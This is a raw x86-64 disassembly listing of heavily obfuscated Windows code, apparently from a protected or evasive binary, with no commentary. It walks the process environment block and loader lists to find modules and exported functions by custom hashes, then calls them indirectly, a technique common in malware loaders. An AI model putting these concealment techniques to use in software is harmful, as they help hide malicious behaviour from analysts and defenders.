lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r11b
movzx ecx, byte [r13 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x83
and ecx, 0x8000003f
jge 0x140082fe5
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r15, cl
not r15
imul r15, r8
imul r13, r15, 0xfffffffff41e4c1c
add r9, r13
mov r10, r11
imul r10, rdi
sub r10, r9
xor r10, r14
mov cl, r9b
xor cl, 0xfc
and cl, 0xf
rol r10, cl
mov rax, r9
sub rax, qword [0x14035f078]
xor r10, rax
movabs rax, 0x40690f4bd78bea3c
imul r15, rax
movabs rax, 0x688ff7101eb290b1
sub r15, rax
xor r10, r15
xor r10, r8
xor r10, rbx
mov rax, r10
and eax, 1
je 0x140083384
sub rax, 1
je 0x140083253
sub rax, 1
je 0x14008315e
cmp rax, 1
jne 0x140083434
mov r14, r9
imul r14, r11
movabs rax, 0xcd9441ae5187cc25
add rax, r10
xor r14, rax
ror r14, 0x20
shr r14, 0xc
xor r14, rbx
not r14
movabs rcx, 0x835729d3c998
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0xb888813627a44d5
xor rdx, rax
movzx eax, r10b
movzx ecx, r14b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97133256b
sub rax, r11
mov r11, rdx
xor r11, rax
mov rcx, r11
imul rcx, rsi
mov eax, 0xa0e8f781
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14035f060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs rsi, 0xe886642e0fe43576
sub rsi, r14
shr rsi, cl
movabs rcx, 0xb1231f3531f3515
add rcx, r13
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r10
imul rax, qword [r12 + rcx*8]
imul rax, r10
sub rax, rdi
xor rsi, rax
jmp 0x140083434
movabs rax, 0xaaaaaa1aa0f10abf
mov rcx, r10
xor rcx, rax
movabs rax, 0x1206ed62fcd6f3
imul rcx, rax
movabs rdx, 0xfff17ca877933cc3
mov rax, r8
xor rax, rdx
sub rcx, rax
movabs rax, 0xffff7e8a86e13863
imul r13, rax
movabs r11, 0xe94dda59c7e4f458
add r11, rcx
add r11, r13
movabs rax, 0x277cd7be7221dddf
mov rcx, r11
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, r11
not r9
lea rax, [0x14035f060]
imul r9, qword [rax + rcx*8]
xor r9, 0xfffffffff5a4dc6f
lea ecx, [r10 - 3]
and cl, 0x3f
rol r9, cl
movabs rax, 0xd7efe7fbe35c2921
xor r12, rax
movabs rax, 0x7c7a7dc69ca3d6de
and r12, rax
imul r9, r12
mov rcx, r9
ror rcx, 0xa
not rcx
movabs rax, 0x9b2de6b2f7357fe0
imul rcx, rax
mov rax, r11
sub rax, r9
lea rdx, [rcx + rax*4]
mov cl, dil
and cl, 0x3f
ror rdx, cl
mov rax, rsi
mov rsi, rdx
imul rsi, rax
jmp 0x140083434
movabs rax, 0x6905fa6ac97007fb
imul r10, rax
movabs rax, 0xd79435e50d79435f
mul r10
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r10b
sub cl, dl
movabs rdx, 0xb0a0d6b00b2adc6
mov rax, rbx
imul rax, rdx
xor rax, r14
not rax
shl rax, cl
xor r8, rax
mov cl, r9b
and cl, 0x3f
rol r8, cl
movabs rcx, 0xb0a0d6b00b2adc7
add rcx, r10
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xfffff294ff4d5239
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r8, rax
movabs rax, 0xffffc7a7fc357c92
or r8, rax
mov rsi, qword [0x14035f070]
imul rsi, r14
sub rsi, r9
mov rax, rdi
sub rax, r8
xor rsi, rax
movabs rax, 0xc7a7c6a6ad3d7c9f
xor rsi, rax
movabs rax, 0xcccccccccccccccd
mul rbx
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rbx
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, rsi
div rcx
mov rcx, rdx
mov rdx, r10
imul rdx, r9
imul rdx, rsi
shr rdx, cl
mov rax, r11
sub rax, rdx
sub rax, rbx
movabs rbx, 0x7895894626f3085
add rbx, rax
xor rbx, rdi
movzx eax, r11b
imul ecx, eax, 0xfa
and cl, 0x3f
rol rbx, cl
not rbx
jmp 0x140083434
movabs rax, 0xaaaaaaaaaaaaaaab
mul r8
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r8
sub rcx, rax
mov rax, r10
imul rax, qword [0x14035f080]
lea rdx, [0x14035f060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r8
and r8b, 0x3f
mov cl, r8b
mov r8, rdx
ror r8, cl
imul r8, r9
not rdi
imul rdi, r11
movabs rax, 0x7cd8a7de70cc2d7e
imul rdi, rax
mov rax, r8
imul rax, rbx
mov rbx, rdi
xor rbx, rax
imul rdi, qword [0x14035f060], 0xfffffffff41e4c1c
mov rdx, qword [0x14035f068]
sub rdi, rdx
mov al, bl
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140083421
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rdi, cl
movabs rax, 0xb0a0d6b00b2adc7
add rdi, rax
add rdi, r13
movabs rax, 0xff055d7b808727b3
xor r14, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r14
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r14, rax
xor r8, rbx
lea rax, [0x14035f060]
imul r8, qword [rax + r14*8]
not r9
imul r9, r10
imul r9, rdi
imul r9, rsi
movabs rcx, 0xf5ed7e8787346d6f
xor rcx, r11
not rcx
xor rcx, r9
sub rcx, r8
call fcn.14006df88
mov qword [0x14036d9e8], rax
xor edi, edi
mov esi, 0x69dfdb1c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x140083514
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0xa2137922
jmp 0x140083506
movsx edx, byte [r9]
mov r8d, edx
imul r8d, edx
add r8d, 0x31
xor r8d, 0x4764996c
mov ecx, r10d
xor ecx, edx
mov r10d, r8d
imul r10d, ecx
add r9, 2
cmp r9, r11
jne 0x1400834e0
cmp r10d, edi
jne 0x140083623
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov ebx, ecx
add rbx, r10
shr rcx, 0x20
cmp rbx, r10
je 0x140083623
mov r14d, dword [rbx + 0x18]
test r14d, r14d
je 0x140083623
mov r13d, dword [rbx + 0x20]
dec r14d
lea rdx, [r10 + r14*4]
mov r11d, dword [rdx + r13]
add r11, r10
mov r15d, 0xa2137922
jmp 0x140083580
movsx r8d, dl
mov r9d, r8d
imul r9d, r8d
add r9d, 0x31
xor r9d, 0x4764996c
mov edx, r15d
xor edx, r8d
mov r15d, r9d
imul r15d, edx
mov dl, byte [r11]
inc r11
test dl, dl
jne 0x14008355d
cmp r15d, esi
je 0x140083599
test r14d, r14d
jne 0x140083547
jmp 0x140083623
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + r14*2]
mov r8d, dword [rdx + rax*4]
add r8, r10
cmp r8, rbx
jbe 0x14008362b
lea rax, [rbx + rcx]
cmp r8, rax
jae 0x14008362b
mov edi, 0xa2137922
mov esi, edi
jmp 0x1400835e5
movsx ecx, al
mov edx, ecx
imul edx, ecx
add edx, 0x31
xor edx, 0x4764996c
mov eax, edi
xor eax, ecx
mov edi, edx
imul edi, eax
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x1400835c8
jmp 0x140083608
movsx ecx, al
mov edx, ecx
imul edx, ecx
add edx, 0x31
xor edx, 0x4764996c
mov eax, esi
xor eax, ecx
mov esi, edx
imul esi, eax
inc r8
mov al, byte [r8]
test al, al
jne 0x1400835ee
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1400834b4
lea rcx, [rbp + 0xb8]
call r8
mov r13d, eax
xor edi, edi
mov esi, 0xbeff66
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x1400836aa
psrldq xmm0, 8
movq r8, xmm0
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0xf2e94652
jmp 0x14008369c
movsx edx, byte [r8]
mov ecx, edx
imul ecx, edx
add ecx, 0x31
xor ecx, 0x4764996c
xor edx, r9d
mov r9d, ecx
imul r9d, edx
add r8, 2
cmp r8, r10
jne 0x14008367c
cmp r9d, edi
jne 0x1400837c5
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov rcx, qword [rcx + r11 + 0x88]
mov ebx, ecx
add rbx, r11
shr rcx, 0x20
cmp rbx, r11
je 0x1400837c5
mov r14d, dword [rbx + 0x18]
test r14d, r14d
je 0x1400837c5
mov r8d, dword [rbx + 0x20]
dec r14d
lea rdx, [r11 + r14*4]
mov r10d, dword [rdx + r8]
add r10, r11
mov r15d, 0xf2e94652
mov dl, byte [r10]
inc r10
test dl, dl
je 0x14008372c
movsx r8d, dl
mov r9d, r8d
imul r9d, r8d
add r9d, 0x31
xor r9d, 0x4764996c
mov edx, r15d
xor edx, r8d
mov r15d, r9d
imul r15d, edx
mov dl, byte [r10]
inc r10
test dl, dl
jne 0x1400836fb
mov r8d, dword [rbx + 0x20]
cmp r15d, esi
je 0x14008373b
test r14d, r14d
jne 0x1400836dd
jmp 0x1400837c5
mov edx, dword [rbx + 0x1c]
add rdx, r11
mov eax, dword [rbx + 0x24]
add rax, r11
movzx eax, word [rax + r14*2]
mov r10d, dword [rdx + rax*4]
add r10, r11
cmp r10, rbx
jbe 0x1400837cd
lea rax, [rbx + rcx]
cmp r10, rax
jae 0x1400837cd
mov edi, 0xf2e94652
mov esi, edi
jmp 0x140083787
movsx ecx, al
mov edx, ecx
imul edx, ecx
add edx, 0x31
xor edx, 0x4764996c
mov eax, edi
xor eax, ecx
mov edi, edx
imul edi, eax
inc r10
mov al, byte [r10]
cmp al, 0x2e
jne 0x14008376a
jmp 0x1400837aa
movsx ecx, al
mov edx, ecx
imul edx, ecx
add edx, 0x31
xor edx, 0x4764996c
mov eax, esi
xor eax, ecx
mov esi, edx
imul esi, eax
inc r10
mov al, byte [r10]
test al, al
jne 0x140083790
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140083650
lea rdx, [rbp + 0x38]
cmp qword [rbp + 0x50], 7
cmova rdx, qword [rbp + 0x38]
xor ebx, ebx
mov qword [rbp - 0x28], rbx
movabs rax, 0x5e7a48f8d5e34e24
mov qword [rbp - 0x28], rax
movabs rcx, 0xf33a52b49226ac03
add rcx, qword [rbp - 0x28]
movabs rax, 0xd15536625308242b
xor rcx, rax
sub rcx, qword [0x14035f050]
sub rcx, qword [0x14035f058]
movabs rax, 0xedf047f551c0303
sub rcx, rax
movabs rax, 0xf8f8cd99ed2b52fd
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0xc7d654bb8c1d126f
add rcx, rax
add rcx, qword [0x14035f040]
movabs rax, 0x5a9179aa094c5dd5
xor rcx, rax
movabs rax, 0x5f627dc7730cc818
sub rcx, rax
movabs rax, 0x7e3b3cd318360dfa
xor rcx, rax
movabs r8, 0x3483ce462a9cb714
add r8, rcx
add r8, qword [0x14035f040]
not r8
movabs rcx, 0x13cce94ad2489904
mov rax, qword [0x14035f038]
xor rax, rcx
sub r8, rax
movabs rax, 0xec3316b52db766fb
mov rcx, qword [0x14035f030]
xor rcx, rax
movabs rax, 0xe0b56d87e2ba1059
add rax, r8
add rcx, rax
movabs rax, 0x109628c430019eec
xor rcx, rax
mov qword [rbp - 0x28], rcx
call r10
mov r8d, eax
mov qword [rbp - 0x28], rbx
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x38], 0x863f1f9
mov eax, dword [rsp + 0x38]
add eax, 0x542feb6
xor eax, 0x940a9747
sub eax, dword [0x14035f058]
sub eax, dword [0x14035f050]
sub eax, 0x5c7557fa
xor eax, 0x70428f00
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0xb8dc202c
add eax, ecx
xor eax, 0x3e000f82
add eax, 0x75db128f
xor eax, 0xd6944bbf
mov edx, dword [0x14035f030]
xor edx, 0x23eaf5b1
sub edx, eax
mov eax, dword [0x14035f038]
xor eax, 0xdc150a4e
sub edx, eax
sub edx, ecx
sub edx, 0x2fae1eb8
xor edx, 0x62b4c5ee
mov dword [rsp + 0x38], edx
mov dword [rsp + 0x38], ebx
cmp r8d, edx
je 0x14008397e
xor eax, eax
mov byte [rbp + 0x210], al
lea rcx, [rbp + 0x210]
call fcn.140071084
mov dword [rsp + 0x3c], ebx
mov dword [rsp + 0x3c], 0xedeb3598
mov eax, dword [rsp + 0x3c]
add eax, 0x4789d32f
xor eax, 0x6883d98e
sub eax, dword [0x14035f058]
sub eax, dword [0x14035f050]
add eax, 0x37c3d388
xor eax, 0x48f29f35
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x1f64fac3
add eax, ecx
xor eax, 0xee674528
sub eax, 0x755f1d8b
xor eax, 0x91a6cf4b
lea edx, [rcx - 0x28d0ba07]
add edx, eax
not edx
mov eax, dword [0x14035f038]
xor eax, 0xc11e25a0
sub edx, eax
mov ecx, dword [0x14035f030]
xor ecx, 0x3ee1da5f
add ecx, 0xc71a31a3
add ecx, edx
xor ecx, 0x27da3660
mov dword [rsp + 0x3c], ecx
mov dword [rsp + 0x3c], ebx
cmp r13d, ecx
je 0x140083a2d
mov dword [0x14037daa8], r13d
lea rcx, [rbp + 0x38]
call fcn.1400538a4
nop
mov rbx, qword [rsp + 0x48]
xor r13d, r13d
jmp 0x140084613
movabs rsi, 0x5e806e230d7af7e3
movabs rax, 0x6fbc390119100000
movabs r14, 0x67cfcb61ca57c2fb
mov rbx, qword [0x14035f078]
imul rbx, rax
movabs rax, 0x9dcc21fb73b00000
xor rbx, rax
mov r12, rbx
imul r12, rsi
movabs r9, 0xaaaaaaaaaaaaaaab
mov rax, r9
mul r12
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r12
sub rcx, rax
mov r8, rbx
and r8, rsi
lea r10, [0x14035f060]
imul r8, qword [r10 + rcx*8]
movabs rax, 0xf91d2bc994766d20
imul r8, rax
shr r8, 3
movabs rax, 0x7786e03ead8ffe79
xor r8, rax
movabs rax, 0xffffff57d673c617
mov rdi, rbx
imul rdi, rax
sub rdi, 0x795142a0
xor rdi, r8
xor rdi, qword [0x14035f060]
mov rax, r8
imul rax, qword [0x14035f070]
movabs rcx, 0xb9de928bdfc07936
imul rax, rcx
not rax
and rdi, rax
ror rdi, 0x24
shr rdi, 8
movabs r13, 0xa17f91dcf285081d
lea rcx, [rbx + r13]
xor rcx, 0xffffffffe14e723b
mov rax, r9
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x380dba5f3b48d1c0
mov r11, qword [r10 + rcx*8]
imul r11, rax
add r11, rsi
movabs rcx, 0xd6945bef0e404644
mov rax, r8
imul rax, rcx
xor r11, rax
shr r11, 0x1f
not r11
mov r15, r11
xor r15, rbx
lea rcx, [r11 + r13]
mov rax, r9
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r11b
movzx ecx, byte [r10 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x27
and ecx, 0x8000003f
jge 0x140083b9d
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r15, cl
not r15
imul r15, r8
imul r13, r15, 0xffffffff86aebd60
movabs r9, 0xa17f91dcf285081d
add r9, r13
mov r10, r11
imul r10, rdi
sub r10, r9
xor r10, r14
mov cl, r9b
xor cl, 0xf8
and cl, 0xf
rol r10, cl
movabs rax, 0x68dfbd8b25698c20
imul r15, rax
movabs rax, 0xba36bafbd9c2cb7
add r15, rax
xor r10, r15
mov rax, r9
sub rax, qword [0x14035f078]
xor r10, rax
xor r10, r8
xor r10, rbx
mov rax, r10
and eax, 3
je 0x140083f43
sub rax, 1
je 0x140083e15
sub rax, 1
je 0x140083d20
cmp rax, 1
jne 0x140083ff3
mov r14, r9
imul r14, r11
movabs rax, 0xa5c5606e7b1f329b
add rax, r10
xor r14, rax
ror r14, 0x1c
shr r14, 0xc
xor r14, rbx
not r14
movabs rcx, 0x83573d317734
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0xa1fd14a484af5fab
xor rdx, rax
movzx eax, r10b
movzx ecx, r14b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db965d19bcf
sub rax, r11
mov r11, rdx
xor r11, rax
mov rcx, r11
imul rcx, rsi
mov eax, 0xb40a4925
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14035f060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs rsi, 0x3407c1ddf19dbf44
sub rsi, r14
shr rsi, cl
movabs rcx, 0xa187b66539134207
add rcx, r13
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r10
imul rax, qword [r12 + rcx*8]
imul rax, r10
sub rax, rdi
xor rsi, rax
jmp 0x140083ff3
movabs rax, 0xaaaaaa1ab413b41b
mov rcx, r10
xor rcx, rax
movabs rax, 0x1206ed761e6857
imul rcx, rax
movabs rdx, 0xfff17ca863718267
mov rax, r8
xor rax, rdx
sub rcx, rax
movabs rax, 0xffff7e8a920386c7
imul r13, rax
movabs r11, 0x3601e40e5c030352
add r11, rcx
add r11, r13
movabs rax, 0x277cd7be66c3637b
mov rcx, r11
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, r11
not r9
lea rax, [0x14035f060]
imul r9, qword [rax + rcx*8]
xor r9, 0xffffffffe14662cb
lea ecx, [r10 + 0x19]
and cl, 0x3f
rol r9, cl
movabs rax, 0xc7b587b9f7be9785
xor r12, rax
movabs rax, 0x7c7a7dc68841687a
and r12, rax
imul r9, r12
mov rcx, r9
ror rcx, 0x3d
not rcx
movabs rax, 0x9b2de6b2a4bf8570
imul rcx, rax
mov rax, r11
sub rax, r9
lea rdx, [rcx + rax*4]
mov cl, dil
and cl, 0x3f
ror rdx, cl
mov rax, rsi
mov rsi, rdx
imul rsi, rax
jmp 0x140083ff3
movabs rax, 0xedaff305509953e7
imul r10, rax
movabs rax, 0xd79435e50d79435f
mul r10
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r10b
sub cl, dl
movabs rdx, 0xa17f91dcf285081c
mov rax, rbx
imul rax, rdx
xor rax, r14
not rax
shl rax, cl
xor r8, rax
mov cl, r9b
and cl, 0x3f
rol r8, cl
movabs rcx, 0xa17f91dcf285081d
add rcx, r10
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xffffee230d7af7e3
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r8, rax
movabs rax, 0xffffc7a7e8d7c236
or r8, rax
mov rsi, qword [0x14035f070]
imul rsi, r14
sub rsi, r9
mov rax, rdi
sub rax, r8
xor rsi, rax
movabs rax, 0xc7a7c6a6b9dfc23b
xor rsi, rax
movabs rax, 0xcccccccccccccccd
mul rbx
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rbx
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, rsi
div rcx
mov rcx, rdx
mov rdx, r10
imul rdx, r9
imul rdx, rsi
shr rdx, cl
mov rax, r11
sub rax, rdx
sub rax, rbx
movabs rbx, 0x7895894768d8e21
add rbx, rax
xor rbx, rdi
movzx eax, r11b
imul ecx, eax, 0x1e
and cl, 0x3f
rol rbx, cl
not rbx
jmp 0x140083ff3
movabs rax, 0xaaaaaaaaaaaaaaab
mul r8
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r8
sub rcx, rax
mov rax, r10
imul rax, qword [0x14035f080]
lea rdx, [0x14035f060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r8
and r8b, 0x3f
mov cl, r8b
mov r8, rdx
ror r8, cl
imul r8, r9
not rdi
imul rdi, r11
movabs rax, 0x7cd8a7de642e93da
imul rdi, rax
mov rax, r8
imul rax, rbx
mov rbx, rdi
xor rbx, rax
imul rdi, qword [0x14035f060], 0xffffffff86aebd60
mov rdx, qword [0x14035f068]
sub rdi, rdx
mov al, bl
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140083fe0
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rdi, cl
movabs rax, 0xa17f91dcf285081d
add rdi, rax
add rdi, r13
movabs rax, 0xff055d7b94659917
xor r14, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r14
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r14, rax
xor r8, rbx
lea rax, [0x14035f060]
imul r8, qword [rax + r14*8]
not r9
imul r9, r10
imul r9, rdi
imul r9, rsi
movabs rcx, 0xf5ed7e8793d6d3cb
xor rcx, r11
not rcx
xor rcx, r9
sub rcx, r8
call fcn.14006de8c
mov qword [0x14036d9b0], rax
movabs rsi, 0xf15a948c2f561867
movabs rbx, 0x5d1a62e9aef94c3b
xor edi, edi
movabs rax, 0x99bfb03f5c2b6f70
movabs r11, 0xeb94de95313f69a2
mov r13, qword [0x14035f070]
mov r14, r13
imul r14, rax
not r14
movabs rcx, 0x146b216ac786508c
mov rax, qword [0x14035f060]
xor rax, rcx
and r14, rax
ror r14, 0x32
shr r14, 8
movabs rax, 0xd881d25afefd3f90
mov r9, r13
imul r9, rax
add r9, rbx
movabs rax, 0xd126ea4affffffff
xor r9, rax
shr r9, 0x1f
not r9
movabs r8, 0xa2e59d165106b3c5
lea rcx, [r9 + r8]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r9b
lea rdx, [0x14035f060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x29
and ecx, 0x8000003f
jge 0x14008412d
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rdx, r9
ror rdx, cl
not rdx
movabs rax, 0x80335378f9fc0d1c
mov r12, rdx
imul r12, rax
add r8, r12
mov r10, r9
imul r10, r14
sub r10, r8
xor r10, rsi
movzx r15d, r8b
mov ecx, r15d
xor ecx, 6
and ecx, 0xf
jge 0x14008416d
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r10, cl
mov rax, r8
sub rax, qword [0x14035f078]
xor r10, rax
movabs rax, 0xb77544a639375574
imul rdx, rax
movabs rax, 0x31bdc5cb95791599
sub rdx, rax
xor r10, rdx
xor r10, r11
mov rax, r10
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x14008448a
sub rax, 1
je 0x14008438e
sub rax, 1
je 0x1400842bc
cmp rax, 1
jne 0x140084505
mov rsi, r8
imul rsi, r9
movabs rax, 0xcc680f0721b9253d
add rax, r10
xor rsi, rax
ror rsi, 0xa
shr rsi, 0xc
not rsi
movabs rcx, 0x835728c7043e
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0xa267186e32da977d
xor rdx, rax
movzx eax, sil
movzx ecx, r10b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97027e8c1
sub rax, r9
mov r9, rdx
xor r9, rax
mov rcx, r9
imul rcx, rbx
mov eax, 0xa1fc3a2b
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x14035f060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rbx, 0x56a934c52a3c3a14
sub rbx, rsi
shr rbx, cl
movabs rcx, 0xa2edc19ea47efead
add rcx, r12
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r10
imul rax, qword [r13 + rcx*8]
imul rax, r10
sub rax, r14
xor rbx, rax
jmp 0x140084505
movabs rcx, 0xaaaaaa1aa1e5c715
mov r9, r10
xor r9, rcx
movabs rcx, 0x1206ed63e81b59
imul r9, rcx
movabs rcx, 0xffff7e8a87f5f5c9
imul r12, rcx
movabs rcx, 0xf2a180c737150bab
add r9, rcx
add r9, r12
movabs rax, 0x277cd7be73351075
mov rcx, r9
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r8, r9
not r8
lea rax, [0x14035f060]
imul r8, qword [rax + rcx*8]
xor r8, 0xfffffffff4b011c5
lea ecx, [r10 + 0x17]
and cl, 0x3f
rol r8, cl
movabs rax, 0x78103cc200000000
imul r8, rax
mov rcx, r8
ror rcx, 0x2f
not rcx
movabs rax, 0x9b2de6b2f3664948
imul rcx, rax
mov rax, r9
sub rax, r8
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, rbx
mov rbx, rdx
imul rbx, rax
jmp 0x140084505
movabs rax, 0x4b26f9d0a37c6d43
imul r10, rax
movabs rax, 0xd79435e50d79435f
mul r10
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r10b
sub cl, dl
movabs rdx, 0xea56b73d0a9e798
shl rdx, cl
mov rax, r11
mov r11, rdx
xor r11, rax
and r15d, 0x8000003f
jge 0x1400843e1
dec r15d
or r15d, 0xffffffc0
inc r15d
mov cl, r15b
rol r11, cl
movabs rcx, 0xa2e59d165106b3c5
add rcx, r10
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xffffe2e9aef94c3b
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r11, rax
movabs rax, 0xffffc7a7fd21b138
or r11, rax
mov rbx, r13
imul rbx, rsi
sub rbx, r8
mov rax, r14
sub rax, r11
xor rbx, rax
movabs rax, 0xc7a7c6a6ac29b135
xor rbx, rax
mov rax, r10
imul rax, r8
imul rax, rbx
mov rdi, r9
sub rdi, rax
movabs rax, 0x7895894637bfd2f
add rdi, rax
xor rdi, r14
mov cl, r9b
shl cl, 4
and cl, 0x3f
rol rdi, cl
not rdi
jmp 0x140084505
mov rcx, r10
imul rcx, qword [0x14035f080]
and rcx, r13
mov rax, r11
mov r11, rcx
xor r11, rax
ror r11, 0x22
imul r11, r8
mov rdi, r14
not rdi
imul rdi, r9
movabs rax, 0x7cd8a7de71d8e0d4
imul rdi, rax
imul r14, qword [0x14035f060], 0xfffffffff6b9392e
mov rdx, qword [0x14035f068]
sub r14, rdx
mov al, dil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x1400844f2
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs rax, 0xa2e59d165106b3c5
add r14, rax
add r14, r12
movabs rax, 0xff055d7b8193ea19
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r11, rdi
lea rax, [0x14035f060]
imul r11, qword [rax + rsi*8]
not r8
imul r8, r10
imul r8, r14
imul r8, rbx
movabs rcx, 0xf5ed7e878620a0c5
xor rcx, r9
not rcx
xor rcx, r8
sub rcx, r11
call fcn.14006dfac
mov qword [0x14036d9e0], rax
xor r13d, r13d
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x40], 0x8806e030
mov eax, dword [rsp + 0x40]
add eax, 0xbee8f433
xor eax, 0x898850ed
sub eax, dword [0x14035f058]
sub eax, dword [0x14035f050]
add eax, 0x2a5db625
xor eax, 0xbfb601ad
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x8f5b5971
add eax, ecx
xor eax, 0xd63ec37f
sub eax, 0x4f21f94c
xor eax, 0x4dd383d0
lea edx, [rcx + 0x7f13bedc]
add edx, eax
not edx
mov eax, dword [0x14035f038]
